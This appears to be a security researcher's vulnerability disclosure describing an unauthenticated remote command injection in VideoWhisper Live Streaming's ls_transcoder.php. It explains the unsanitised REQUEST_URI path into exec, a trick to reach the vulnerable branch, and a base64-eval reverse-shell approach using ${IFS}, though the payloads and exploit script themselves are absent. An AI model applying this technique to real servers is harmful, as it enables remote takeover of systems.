Today I am going to publicly disclose a vulnerability that I have discovered recently in VideoWhisper Live Streaming software. The software suffers from remote command execution vulnerability, specifically, this issue occurs because the web application mishandles a few HTTP parameters. An unauthenticated attacker can exploit this issue by injecting OS commands to be executed over the remote machine.

I decided to do a source code review over the VideoWhisper Live Streaming software as one of my researches.

General Review

It took me many hours reading the source code, many files caught my attention, ls_transcoder.php was one of these files that considered to be suspicious.

In line 21, $stream parameter was noticed to be inserted in a command that was sent to exec function in line 22, exec function executes commands over the remote machine and returns the output to an array that was sent as a second argument.

$stream parameter is a user-controlled input sent through the GET request in line 6, however, there is a filter function sanV($stream) in line 12, if I am able to bypass this filter then I will be able to gain a command injection over the application.

Also notice line 15:

This leads to Reflected XSS if I am able to bypass the sanitization function.

Function sanV:

Function preg_replace in line 10 removes any double dots or more. Also preg_replace in line 11 removes any special character except for the dot, dash and underscore { . – _ }.
Characters with a special meaning within HTML or MYSQL are also escaped when user input is submitted.
For this, I have found no way in which this filter can be bypassed.

Command Injection

The mentioned function sanV is used to filter many user inputs over the entire application, thus, I started to search for more user inputs that are more controllable and not escaped correctly.

In the same file ls_transcoder.php, I noticed another exec function that contains the same filtered input:

 

Four parameters were sent to the command that will pass through function exec line 44, these parameters are:

• $stream (filtered by sanV function)
• $rtmp_server (Not a user input)
• $_SERVER[‘HTTP_HOST’] (user input)
• $_SERVER[‘REQUEST_URI’] (user input)

The developers missed to correctly sanitize two parameters that are considered to be user inputs which are ($_SERVER[‘HTTP_HOST’], $_SERVER[‘REQUEST_URI’]).
Although, these parameters are SERVER parameters and contain filters by default that vary between each application and another. They are still user input parameters that should not be trusted.

Reaching the sink

To exploit the command injection and gaining the RCE we will need to force the application flow to pass through the IF condition that contains the vulnerable exec function.


The following piece of code effects $transcoding parameter:

 

$transencoding parameter is only updated by 1 if any of the output of the first exec function contains word “ffmpeg“.

This could be easily bypassed by adding dummy data to the controlled stream parameter to prevent the output from printing any “ffmpeg” string and force the application flow to enter the IF condition.

Exploitation

I am controlling two inputs that are sent to the exec function:

• $_SERVER[‘HTTP_HOST’] contains the Contents of the Host header from the delivered request.
• $_SERVER[‘REQUEST_URI’] The URI which was given in order to access the page, in our scenario: ‘/ls_transcoder.php‘.

Updating $_SERVER[‘HTTP_HOST’] will affect the application response depending on the server behavior and configuration. Usually leads to 500 error. For this, crafting the command injection payload through $_SERVER[‘REQUEST_URI’] is the best option that we have in our scenario.

$_SERVER[‘REQUEST_URI’] contains a self URL encoder for many meta-characters that have meaning to the OS commands. I will try hard to craft reverse connection command that doesn’t contain many characters in order to bypass $_SERVER[‘REQUEST_URI’] self encoder.

I choose to use PHP reverse connection command since the application is using PHP programming language then, for sure php command will be executed successfully, thus, I will use the following payload:

The payload contains many characters that will be encoded by the application, I will need to do some encoding stuff to decrease the number of characters that will be used in the payload.
I encoded the PHP code using normal base64 and inserted the payload into base64 decode function in addition to the eval function:

Many metadata characters were encoded, however, the white spaces are URL encoded to %20 because the payload is sent through $_SERVER[‘REQUEST_URI’], to bypass this, white spaces were replaced by ${IFS} that will be converted to a white space once executed. The final payload:

In my netcat listener:

Coding

The final exploit was written in my favorite programming language PHP.

You will need to add the script installation URL in addition to your remote IP and the listening port: